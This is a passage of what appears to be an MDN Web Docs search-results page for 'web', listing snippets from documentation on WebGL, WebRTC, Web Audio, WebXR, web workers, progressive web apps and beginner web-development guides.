...f you're new to
web development, we encourage you to start small. You won't build another Facebook right away, but it's not hard to get your own simple
website online, so we'll start there. By working through the articles listed below in order, you will go from nothing to getting your first
webpage online. Let's begin our journey! ...
...tting your first
webpage online. Let's begin our journey! ...
...And 7 more matches
Adding vector graphics to the Web - Learn web development
Previous Overview: Multimedia and embedding Next Vector graphics are very useful in many circumstances -- they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size. In this article we'll show you how to include one in your
webpage. Prerequisites: You should know the basics of HTML and how to insert an image into your document. Objective: Learn how to embed an SVG (vector) image into a
webpage. ...
...when zoomed in or blown up to a large size. In this article we'll show you how to include one in your
webpage. Prerequisites: You should know the basics of HTML and how to insert an image into your document. Objective: Learn how to embed an SVG (vector) image into a
webpage. Note: This article doesn't intend to teach you SVG; just what it is, and how to add it to
web pages. ...
...this article we'll show you how to include one in your
webpage. Prerequisites: You should know the basics of HTML and how to insert an image into your document. Objective: Learn how to embed an SVG (vector) image into a
webpage. Note: This article doesn't intend to teach you SVG; just what it is, and how to add it to
web pages. What are vector graphics? ...
...And 7 more matches
The "why" of web performance - Learn web development
Bad performing sites are slow to display and slow to respond to input. Bad performing sites increase site abandonment. ...
...Bad performing sites are slow to display and slow to respond to input. ...
...Bad performing sites are slow to display and slow to respond to input. ...
...And 7 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
Return value A FileSystemEntry-based object describing the dropped item. This will be either FileSystemFileEntry or FileSystemDirectoryEntry. ...
... Return value A FileSystemEntry-based object describing the dropped item. This will be either FileSystemFileEntry or FileSystemDirectoryEntry. ...
... Syntax DataTransferItem.
webkitGetAsEntry(); Parameters None. ...
...And 7 more matches
WebGLRenderingContext.bufferData() - Web APIs
The
WebGLRenderingContext.bufferData() method of the
WebGL API initializes and creates the buffer object's data store. Syntax //
WebGL1: void gl.bufferData(target, size, usage); void gl.bufferData(target, ArrayBuffer? ...
... The
WebGLRenderingContext.bufferData() method of the
WebGL API initializes and creates the buffer object's data store. Syntax //
WebGL1: void gl.bufferData(target, size, usage); void gl.bufferData(target, ArrayBuffer? ...
... gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks. ...
...And 7 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
The
WebGLRenderingContext method makeXRCompatible() ensures that the rendering context described by the
WebGLRenderingContext is ready to render the scene for the immersive
WebXR device on which it will be displayed. If necessary, the
WebGL layer may reconfigure the context to be ready to render to a different device than it originally was. This is useful if you have an application which can start out being presented on a standard 2D display but can then be transitioned to a 3D immersion system. Syntax let makeCompatPromise =
webGLRenderingContext.makeXRCompatible(); Parameters None. Return value A Promise which successfully resolves once the
WebGL context is ready to be used for rendering
WebXR content. Exceptions This method doesn't throw traditional exceptions; instead, the promi...
...deringContext.makeXRCompatible(); Parameters None. Return value A Promise which successfully resolves once the
WebGL context is ready to be used for rendering
WebXR content. Exceptions This method doesn't throw traditional exceptions; instead, the promise rejects with one of the following errors as the value passed into the rejection handler: AbortError Switching the context over to the
WebXR-compatible context failed. InvalidStateError The
WebGL context has been lost or there is no available
WebXR device. Usage notes Because makeXRCompatible() may involve replacing the underlying
WebGL context with a new one that uses the new rendering hardware, the existing contents of the context may be lost and, therefore, would need to be re-rendered. This is why the
webglcontextlost and w...
...sting contents of the context may be lost and, therefore, would need to be re-rendered. This is why the
webglcontextlost and
webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context. While this method is available through the
WebGLRenderingContext interface, it's actually defined by the
WebXR Device API rather than by
WebGL. Examples This example demonstrates code logic you might find in a game that starts up using
WebGL to display menus and other UI, and uses
WebGL to render gameplay, but has a button on its main menu that offers an option to start the game in
WebXR mode. HTML The HTML for the buttons looks lke this:...
...And 7 more matches
Basic concepts behind Web Audio API - Web APIs
Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources -- with different types of channel layout -- are supported even within a single context. ...
...Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources -- with different types of channel layout -- are supported even within a single context. ...
...Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources -- with different types of channel layout -- are supported even within a single context. ...
...And 7 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
arting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and
Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully. Autoplay blocking is not applied to <video> elements when the source media does not have an audio track, or if the audio track is muted. Media with an active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not aff...
...playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of JavaScript code to start playback outside the context of handling user input. That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioElement.play(); The following
web features and APIs may be affected by autoplay blocking: The HTML <audio> and <video> elements The
Web Audio API From the user's perspective, a
web page or app that spontaneously starts making noise without warning can be jarring, inconvenient, or off-putting. Because of that, browsers generally only allow autoplay to occur successfully under specific circumstances. Autoplay availability A...
...nterface features If the autoplay feature policy is used to grant autoplay support to an <iframe> and its document. Otherwise, the playback will likely be blocked. The exact situations that result in blocking, and the specifics of how sites become whitelisted vary from browser to browser, but the above are good guidelines to go by. For details, see the auto-play policies for Google Chrome and
WebKit. Note: Put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction. Browsers may additionally choose to block under other circumstances. Autoplay of media elements Now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how y...
...And 7 more matches
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
Developers should wait to include the unprefixed property until browser behavior is standardized. Browser vendors are working to stop using vendor prefixes for experimental features. ...
...ties and JavaScript APIs, so developers can experiment with new ideas while--in theory--preventing their experiments from being relied upon and then breaking
web developers' code during the standardization process. Developers should wait to include the unprefixed property until browser behavior is standardized. Browser vendors are working to stop using vendor prefixes for experimental features.
Web developers have been using them on production
Web sites, despite their experimental nature. This has made it more difficult for browser vendors to ensure compatibility and to work on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular
web sites. Lately, the trend is to add experimental features behind user-controlle...
...rk on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular
web sites. Lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. ...
...And 6 more matches
Front-end web developer - Learn web development
Welcome to our front-end
web developer learning pathway! ...
... Welcome to our front-end
web developer learning pathway! ...
...ovide you with a structured course that will teach you all you need to know to become a front-end
web developer. Simply work through each section, learning new skills (or improving existing ones) as you go along. Each section includes exercises and assessments to test your understanding before you move forward. Subjects covered The subjects covered are: Basic setup and learning how to learn
Web standards and best practices (such as accessibility and cross-browser compatibility) HTML, the language that gives
web content structure and meaning CSS, the language used to style
web pages JavaScript, the scripting language used to create dynamic functionality on the
web Tooling that is used to facilitate modern client-side
web development. You can work through sections in order, but each...
...And 6 more matches
File.webkitRelativePath - Web APIs
The File.
webkitRelativePath is a read-only property that contains a USVString which specifies the file's path relative to the directory selected by the user in an <input> element with its
webkitdirectory attribute set. Syntax relativePath = File.
webkitRelativePath Value A USVString containing the path of the file relative to the ancestor directory the user selected. Example In this example, a directory picker is presented which lets the user choose one or more directories. When the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
...String containing the path of the file relative to the ancestor directory the user selected. Example In this example, a directory picker is presented which lets the user choose one or more directories. When the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
... Draft Initial specification. This API has no official W3C or WHATWG specification. ...
...And 6 more matches
HTMLInputElement.webkitdirectory - Web APIs
The HTMLInputElement.
webkitdirectory is a property that reflects the
webkitdirectory HTML attribute and indicates that the <input> element should let the user select directories instead of files. When a directory is selected, the directory and its entire hierarchy of contents are included in the set of selected items. The selected file system entries can be obtained using the
webkitEntries property. Syntax HTMLInputElement.
webkitdirectory = boolValue Value A Boolean; true if the <input> element should allow picking only directories or false if only files should be selectable. ...
... in the set of selected items. The selected file system entries can be obtained using the
webkitEntries property. Syntax HTMLInputElement.
webkitdirectory = boolValue Value A Boolean; true if the <input> element should allow picking only directories or false if only files should be selectable. Understanding the results After the user makes a selection, each File object in files has its File.
webkitRelativePath property set to the relative path within the selected directory at which the file is located. For example, consider this file system: PhotoAlbums Birthdays Jamie's 1st birthday PIC1000.jpg PIC1004.jpg PIC1044.jpg Don's 40th birthday PIC2343.jpg PIC2344.jpg PIC2355.jpg PIC2356.jpg ...
... PIC2355.jpg PIC2356.jpg Vacations Mars PIC5533.jpg PIC5534.jpg PIC5556.jpg PIC5684.jpg PIC5712.jpg If the user chooses PhotoAlbums, then the list reported by files will contain File objects for every file listed above--but not the directories. The entry for PIC2343.jpg will have a
webkitRelativePath of PhotoAlbums/Birthdays/Don's 40th birthday/PIC2343.jpg. This makes it possible to know the hierarchy even though the FileList is flat. Note: The behavior of
webkitRelativePath is different in Chromium < 72. See this bug for further details. Example In this example, a directory picker is presented which lets the user choose one or more directories. When the change event occur...
...And 6 more matches
WEBGL_debug_renderer_info - Web APIs
Depending on the privacy settings of the browser, this extension might only be available to privileged contexts. Generally, the graphics driver information should only be used in edge cases to optimize your
WebGL content or to debug GPU problems. The
WebGLRenderingContext.getParameter() method can help you to detect which features are supported and the failIfMajorPerformanceCaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. ...
... Availability: Depending on the privacy settings of the browser, this extension might only be available to privileged contexts or not work at all. ...
...rmation should only be used in edge cases to optimize your
WebGL content or to debug GPU problems. The
WebGLRenderingContext.getParameter() method can help you to detect which features are supported and the failIfMajorPerformanceCaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: Depending on the privacy settings of the browser, this extension might only be available to privileged contexts or not work at all. ...
...And 6 more matches
WebGL2RenderingContext.createTransformFeedback() - Web APIs
OpenGL ES 3.0The definition of 'glGenTransformFeedbacks' in that specification. ...
... OpenGL ES 3.0The definition of 'glGenTransformFeedbacks' in that specification. ...
... OpenGL ES 3.0The definition of 'glGenTransformFeedbacks' in that specification. ...
...And 6 more matches
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
The
WebGLRenderingContext.compressedTexSubImage2D() method of the
WebGL API specifies a two-dimensional sub-rectangle for a texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using this method or a
WebGL2RenderingContext must be used. ...
... The
WebGLRenderingContext.compressedTexSubImage2D() method of the
WebGL API specifies a two-dimensional sub-rectangle for a texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using this method or a
WebGL2RenderingContext must be used. ...
...od of the
WebGL API specifies a two-dimensional sub-rectangle for a texture image in a compressed format. Compressed image formats must be enabled by
WebGL extensions before using this method or a
WebGL2RenderingContext must be used. Syntax //
WebGL 1: void gl.compressedTexSubImage2D(target, level, xoffset, yoffset, width, height, format, ArrayBufferView? pixels); // Additionally available in
WebGL 2: void gl.compressedTexSubImage2D(target, level, xoffset, yoffset, width, height, format, imageSize, offset); void gl.compressedTexSubImage2D(target, level, xoffset, yoffset, width, height, format, ArrayBufferView srcData, optional srcOffset, optional srcLengthOverride); Parameters target A GLenum specifying the binding point (target) of the active compressed texture. Possible values: ...
...And 6 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
The
WebGLRenderingContext.texSubImage2D() method of the
WebGL API specifies a sub-rectangle of the current texture. ...
... The
WebGLRenderingContext.texSubImage2D() method of the
WebGL API specifies a sub-rectangle of the current texture. ...
...eData? pixels); void gl.texSubImage2D(target, level, xoffset, yoffset, format, type, HTMLImageElement? pixels); void gl.texSubImage2D(target, level, xoffset, yoffset, format, type, HTMLCanvasElement? pixels); void gl.texSubImage2D(target, level, xoffset, yoffset, format, type, HTMLVideoElement? pixels); void gl.texSubImage2D(target, level, xoffset, yoffset, format, type, ImageBitmap? ...
...And 6 more matches
Detect WebGL - Web APIs
This is also done in other graphics {{Glossary("API")}}, such as the canvas 2D rendering context. ...
...This is also done in other graphics {{Glossary("API")}}, such as the canvas 2D rendering context. ...
...This is also done in other graphics {{Glossary("API")}}, such as the canvas 2D rendering context. ...
...And 6 more matches
Getting started with WebGL - Web APIs
It's assumed that you already have an understanding of the mathematics involved in 3D graphics, and this article doesn't pretend to try to teach you 3D graphics concepts itself. ...
...It's assumed that you already have an understanding of the mathematics involved in 3D graphics, and this article doesn't pretend to try to teach you 3D graphics concepts itself. ...
...It's assumed that you already have an understanding of the mathematics involved in 3D graphics, and this article doesn't pretend to try to teach you 3D graphics concepts itself. ...
...And 6 more matches
Lifetime of a WebRTC session - Web APIs
WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video--or any combination thereof--into a browser application. In this article, we'll look at the lifetime of a
WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed. This article doesn't get into details of the actual APIs involved in establishing and handling a
WebRTC connection; it simply reviews the process in general with some information about why each step is required. See Signaling and video calling for an actual example with a step-by-step explanation of what the code does. This page is currently under construction, and some of the content will move to other pages as the
WebRTC guide material is built out. Pardon our dust! Establishi...
...she'll wind up wondering why you forgot her birthday again. This is where signaling comes in. Signaling Signaling is the process of sending control information between two devices to determine the communication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information. ...
...ess of sending control information between two devices to determine the communication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information. The most important thing to know about the signaling process for
WebRTC: it is not defined in the specification. Why, you may wonder, is something fundamental to the process of establishing a
WebRTC connection left out of the specification? The answer is simple: since the two devices have no way to directly contact each other, and the specification can't predict every possible use case for
WebRTC, it makes more sense to let the developer select an appropriate networking technology and messaging protocol. In particular, if a developer already has a method in place for connecting two devic...
...And 6 more matches
Using WebRTC data channels - Web APIs
Once you've established a
WebRTC peer connection using the RTCPeerConnection interface, you're able to send and receive media data between the two peers on the connection. But there's a lot more you can do with
WebRTC. In this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose. Since all
WebRTC components are required to use encryption, any data transmitted on an RTCDataChannel is automatically secured using Datagram Transport Layer Security (DTLS). See Security below for more information. ...
...This is the easy way, and works for a wide variety of use cases, but may not be flexible enough for your needs. ...
...; }); Manual negotiation To manually negotiate the data channel connection, you need to first create a new RTCDataChannel object using the createDataChannel() method on the RTCPeerConnection, specifying in the options a negotiated property set to true. This signals to the peer connection to not attempt to negotiate the channel on your behalf. Then negotiate the connection out-of-band, using a
web server or other means. This process should signal to the remote peer that it should create its own RTCDataChannel with the negotiated property also set to true, using the same id. This will link the two objects across the RTCPeerConnection. let dataChannel = pc.createDataChannel("MyApp Channel", { negotiated: true }); dataChannel.addEventListener("open", (event) => { beginTransmission(dataC...
...And 6 more matches
Writing a WebSocket server in Java - Web APIs
Java's ServerSocket class is located in the java.net package. ServerSocket Constructor: ServerSocket(int port) When you instantiate the ServerSocket class, it is bound to the port number you specified by the port argument. ...
...Java's ServerSocket class is located in the java.net package. ServerSocket Constructor: ServerSocket(int port) When you instantiate the ServerSocket class, it is bound to the port number you specified by the port argument. ...
...nt. ...
...And 6 more matches
Using the Web Speech API - Web APIs
The
Web Speech API provides two distinct areas of functionality -- speech recognition, and speech synthesis (also known as text to speech, or tts) -- which open up interesting new possibilities for accessibility, and control mechanisms. This article provides a simple introduction to both areas, along with demos. Speech recognition Speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) When a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result. ...
...ch recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) When a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result. The
Web Speech API has a main controller interface for this -- SpeechRecognition -- plus a number of closely-related interfaces for representing grammar, results, etc. Generally, the default speech recognition system available on the device will be used for the speech recognition -- most modern OSes have a speech recognition system for issuing voice commands. Think about Dictation on macOS, Siri on iOS, ...
...erfaces for representing grammar, results, etc. Generally, the default speech recognition system available on the device will be used for the speech recognition -- most modern OSes have a speech recognition system for issuing voice commands. Think about Dictation on macOS, Siri on iOS, Cortana on Windows 10, Android Speech, etc. Note: On some browsers, like Chrome, using Speech Recognition on a
web page involves a server-based recognition engine. Your audio is sent to a
web service for recognition processing, so it won't work offline. Demo To show simple usage of
Web speech recognition, we've written a demo called Speech color changer. When the screen is tapped/clicked, you can say an HTML color keyword, and the app's background color will change to that color. To run the demo, you ca...
...And 6 more matches
Functions and classes available to Web Workers - Web APIs
orkerGlobalScope no close() yes, on WorkerGlobalScope yes, on WorkerGlobalScope yes, but is a no-op. Unknown no postMessage() yes, on DedicatedWorkerGlobalScope no no Unknown no APIs available in workers Function Functionality Support in Gecko (Firefox) Support in IE Support in Blink (Chrome and Opera) Support in
WebKit (Safari) Broadcast Channel API Allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) No support No support No support Cache Cache API provides the ability to programmatically control cache storage associated with current origin. (Yes) No support...
... Channel Messaging API Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a SharedWorker, or two workers) to communicate directly via two ports. 41 (41) (Yes) (Yes) (Yes) Console API Provides access to the browser's debugging console (e.g., the
Web Console in Firefox). The specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided. 38 (38) (Yes) (Yes) (Yes) Crypto The Crypto interface represents basic cryptography features available in the current context. It allows access to a cryptographically strong random number generator and to cryptographic primit...
... FormData objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest send() method. ? (should be in 39 (39)) ? (Yes) ? ImageData The underlying pixel data of an area of a canvas element. Manipulating such data can be a complex task better suited to be delegated to a
Web Worker. 25 (25) No support No support No support IndexedDB Database to store records holding simple values and hierarchical objects. 37 (37), 42 (42) for IDBCursorWithValue. 10.0 (Yes) 10.1 Network Information API provides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.). 53.0 (53) on...
...And 6 more matches
Client-side web APIs - Learn web development
When writing client-side JavaScript for
web sites or applications, you will quickly encounter Application Programming Interfaces (APIs). APIs are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other
web sites or services. In this module, we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To get the most out of this module, you should have worked your way through the previous JavaScript modules in the series (First steps, Building blocks, ...
...ule, you should have worked your way through the previous JavaScript modules in the series (First steps, Building blocks, and JavaScript objects). Those modules typically involve simple API usage, as it is often difficult to write client-side JavaScript examples without them. For this tutorial, we will assume that you are knowledgable about the core JavaScript language, and we will explore common
Web APIs in a bit more detail. Basic knowledge of HTML and CSS would also be useful. Note: If you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Glitch. Guides Introduction to
web APIs First up, we'll start by looking at APIs from a high level -- what are they, how d...
...This is usually done by using the Document Object Model (DOM), a set of APIs for controlling HTML and styling information that makes heavy use of the Document object. ...
...And 5 more matches
Server-side website programming first steps - Learn web development
In this module we answer a few fundamental questions about server-side programming -- "What is it?", "How does it differ from client-side programming?", and "Why is it so useful?". We then provide an overview of some of the most popular server-side
web frameworks, along with guidance on how to select the most suitable framework for creating your first site. Finally, we provide a high-level introductory article about
web server security. ...
...programming?", and "Why is it so useful?". We then provide an overview of some of the most popular server-side
web frameworks, along with guidance on how to select the most suitable framework for creating your first site. Finally, we provide a high-level introductory article about
web server security. Prerequisites Before starting this module, you don't need to have any knowledge of server-side
website programming, or indeed any other type of programming. However, you do need to understand how the
web works. We recommend that you first read the following topics: What is a
web server? What software do I need to build a
website? How do you upload files to a
web server? With that basic understanding, you'll be ready to work your way through the modules in this section. Guides Int...
...his section. Guides Introduction to the server side Welcome to the MDN beginner's server-side programming course! In this first article, we look at server-side programming from a high level, answering questions such as "What is it?", "How does it differ from client-side programming?", and "Why it is so useful?". ...
...And 5 more matches
WebGL2RenderingContext.deleteSync() - Web APIs
OpenGL ES 3.0The definition of 'glDeleteSync' in that specification. ...
... OpenGL ES 3.0The definition of 'glDeleteSync' in that specification. ...
... OpenGL ES 3.0The definition of 'glDeleteSync' in that specification. ...
...And 5 more matches
WebGL2RenderingContext.isQuery() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsQuery' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsQuery' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsQuery' in that specification. ...
...And 5 more matches
WebGL2RenderingContext.isSampler() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSampler' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSampler' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSampler' in that specification. ...
...And 5 more matches
WebGL2RenderingContext.isSync() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSync' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSync' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsSync' in that specification. ...
...And 5 more matches
WebGLRenderingContext.disable() - Web APIs
gl.DITHER Deactivates dithering of color components before they get written to the color buffer. ...
... gl.DITHER Deactivates dithering of color components before they get written to the color buffer. ...
... gl.DITHER Deactivates dithering of color components before they get written to the color buffer. ...
...And 5 more matches
WebGLRenderingContext.enable() - Web APIs
gl.DITHER Activates dithering of color components before they get written to the color buffer. ...
... gl.DITHER Activates dithering of color components before they get written to the color buffer. ...
... gl.DITHER Activates dithering of color components before they get written to the color buffer. ...
...And 5 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
Once you have the uniform's location, you can access the uniform itself using one of the other uniform access methods, passing in the uniform location as one of the inputs: getUniform() Returns the value of the uniform at the given location. ...
...ingle floating point or integer number, or a 2-4 component vector specified either as a list of values or as a Float32Array or Int32Array. uniformMatrix[234][fv]() Sets the uniform's value to the specified matrix, possibly with transposition. The value is represented as a sequence of GLfloat values or as a Float32Array. The uniform itself is declared in the shader program using GLSL. Syntax
WebGLUniformLocation =
WebGLRenderingContext.getUniformLocation(program, name); Parameters program The
WebGLProgram in which to locate the specified uniform variable. name A DOMString specifying the name of the uniform variable whose location is to be returned. The name can't have any whitespace in it, and you can't use this function to get the location of any uniforms starting with the reser...
... The possible values correspond to the uniform names returned by getActiveUniform; see that function for specifics on how declared uniforms map to uniform location names. Additionally, for uniforms declared as arrays, the following names are also valid: The uniform name without the [0] suffix. E.g. ...
...And 5 more matches
WebGLRenderingContext.isEnabled() - Web APIs
gl.DITHER Dithering of color components before they get written to the color buffer. ...
... gl.DITHER Dithering of color components before they get written to the color buffer. ...
... gl.DITHER Dithering of color components before they get written to the color buffer. ...
...And 5 more matches
Using WebGL extensions - Web APIs
Canonical extension names, vendor prefixes and preferences Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (MOZ_,
WEBKIT_, etc.) or the extension is only available once a browser preference has been toggled. ...
... available in the khronos
webgl extension registry. Note: In
WebGL, unlike in other GL APIs, extensions are only available if explicitly requested. Canonical extension names, vendor prefixes and preferences Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (MOZ_,
WEBKIT_, etc.) or the extension is only available once a browser preference has been toggled. If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance: var ext = ( gl.getExtensio...
... to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance: var ext = ( gl.getExtension('OES_vertex_array_object') || gl.getExtension('MOZ_OES_vertex_array_object') || gl.getExtension('
WEBKIT_OES_vertex_array_object') ); Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix. The feature flags are:
webgl.enable-draft-extensions in Firefox chrome://flags/#enable-
webgl-draft-extensions in Chromium based browsers (Chrome, Opera). Naming conventions
WebGL extensions a...
...And 5 more matches
WebRTC connectivity - Web APIs
We call this the signal channel or signaling service. It's any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon... it's up to you. ...
...We call this the signal channel or signaling service. It's any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon... it's up to you. ...
...er which just contains the SDP mentioned below. Peer A who will be the initiator of the connection, will create an Offer. They will then send this offer to Peer B using the chosen signal channel. Peer B will receive the Offer from the signal channel and create an Answer. They will then send this back to Peer A along the signal channel. Session descriptions The configuration of an endpoint on a
WebRTC connection is called a session description. The description includes information about the kind of media being sent, its format, the transfer protocol being used, the endpoint's IP address and port, and other information needed to describe a media transfer endpoint. This information is exchanged and stored using Session Description Protocol (SDP); if you want details on the format of SDP data,...
...And 5 more matches
Lighting a WebXR setting - Web APIs
However, there are issues and details to keep in mind while creating your lighting code, especially for augmented reality (AR) applications. This guide discusses these topics. And while this article provides brief reminders as to how lighting works in general, it is not by any means a tutorial in lighting or a guide to how to create a properly-lit 3D scene. ...
... Specular light Specular light is the light that makes up the highlights on reflective objects, such as gems, eyes, shiny cups and plates, and the like. Specular lights tend to appear as bright spots or squares on a surface at the point where a light source strikes the surface most directly. Every light source is represented by some combination of ambient, diffuse, and/or specular light. The
WebGL shader program takes the color, directionality, brightness, and other factors for each light source and computes the final color of each pixel. Types of light source There are four fundamental types of light source. Each one involves a source of virtual light whose distance from the object being drawn and the directionality of the light waves cause the light source to take on specific charact...
...a light source located at a specific location, radiating outward equally in every direction. Light bulbs, candles, and the like are examples of point light sources. The closer an object is to a point light source, the brighter the light it casts onto that object. The rate at which the brightness of a point light falls off is called attenuation, and is a configurable feature of the light source in
WebGL and other lighting systems. Between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected back tends to be brightest at the closest point to the light source and dimmer the farther away it is. Even if the surface is flat, the closest point to the light source is the center, with rays becoming increasi...
...And 5 more matches
Web Animations API Concepts - Web APIs
This means we can use it to create and manipulate CSS-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs. ...
...s API (WAAPI) provides JavaScript developers access to the browser's animation engine and describes how animations should be implemented across browsers. This article will introduce you to the important concepts behind the WAAPI, providing you with a theoretical understanding of how it works so you can use it effectively. To learn how to put the API to use, check out its sister article, Using the
Web Animations API. The
Web Animations API fills the gap between declarative CSS animations and transitions, and dynamic JavaScript animations. This means we can use it to create and manipulate CSS-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs. History Over a deca...
...eading to inconsistent implementations. Ten years later, the Safari team introduced the CSS Animations and CSS Transitions specs. ...
...And 5 more matches
XRWebGLLayer - Web APIs
The XR
WebGLLayer interface of the
WebXR Device API provides a linkage between the
WebXR device (or simulated XR device, in the case of an inline session) and a
WebGL context used to render the scene for display on the device. In particular, it provides access to the
WebGL framebuffer and viewport to ease access to the context. Although XR
WebGLLayer is currently the only type of framebuffer layer supported by
WebGL, it's entirely possible that future updates to the
WebXR specification may allow for other layer types and corresponding image sources. Constructor new XR
WebGLLayer() Creates and returns a new XR
WebGLLayer object for use by the specified XRSession, using a particular
WebGLRenderingContext or
WebGL2RenderingContext as the destination context. Properties antialia...
...re updates to the
WebXR specification may allow for other layer types and corresponding image sources. Constructor new XR
WebGLLayer() Creates and returns a new XR
WebGLLayer object for use by the specified XRSession, using a particular
WebGLRenderingContext or
WebGL2RenderingContext as the destination context. Properties antialias Read only A Boolean value indicating whether or not the
WebGL context's framebuffer supports anti-aliasing. The specific type of anti-aliasing is determined by the user agent. framebuffer Read only Returns a
WebGLFramebuffer suitable for passing into the bindFrameBuffer() method. framebufferWidth Read only Returns the width of the XR
WebGLLayer's framebuffer. framebufferHeight Read only Returns the height of the layer's framebuffer. ignoreDepthVa...
...type of anti-aliasing is determined by the user agent. framebuffer Read only Returns a
WebGLFramebuffer suitable for passing into the bindFrameBuffer() method. framebufferWidth Read only Returns the width of the XR
WebGLLayer's framebuffer. framebufferHeight Read only Returns the height of the layer's framebuffer. ignoreDepthValues Read only A Boolean which Indicates whether or not the
WebXR compositor should make use of the contents of the layer's depth buffer while compositing the scene. Methods getViewport() Returns a new XRViewport instance representing the position, width, and height to which the
WebGL context's viewport must be set to contain drawing to the area of the framebuffer designated for the specified view's contents. In this way, for example, the rendering of t...
...And 5 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
Web application installation is a feature available in modern browsers that allows users to choose to easily and conveniently "install" a
web application on their device so they can access it in the same way they would any other installed app. Depending on the device and features of the operating system and browser, this can result in what is essentially a fully featured application (for example, using
WebAPK on Android) or as a shortcut added to their device's screen. This guide explains how installation is performed, what it means, and what you need to do as a developer to let your users take advantage of it. ...
...vice and features of the operating system and browser, this can result in what is essentially a fully featured application (for example, using
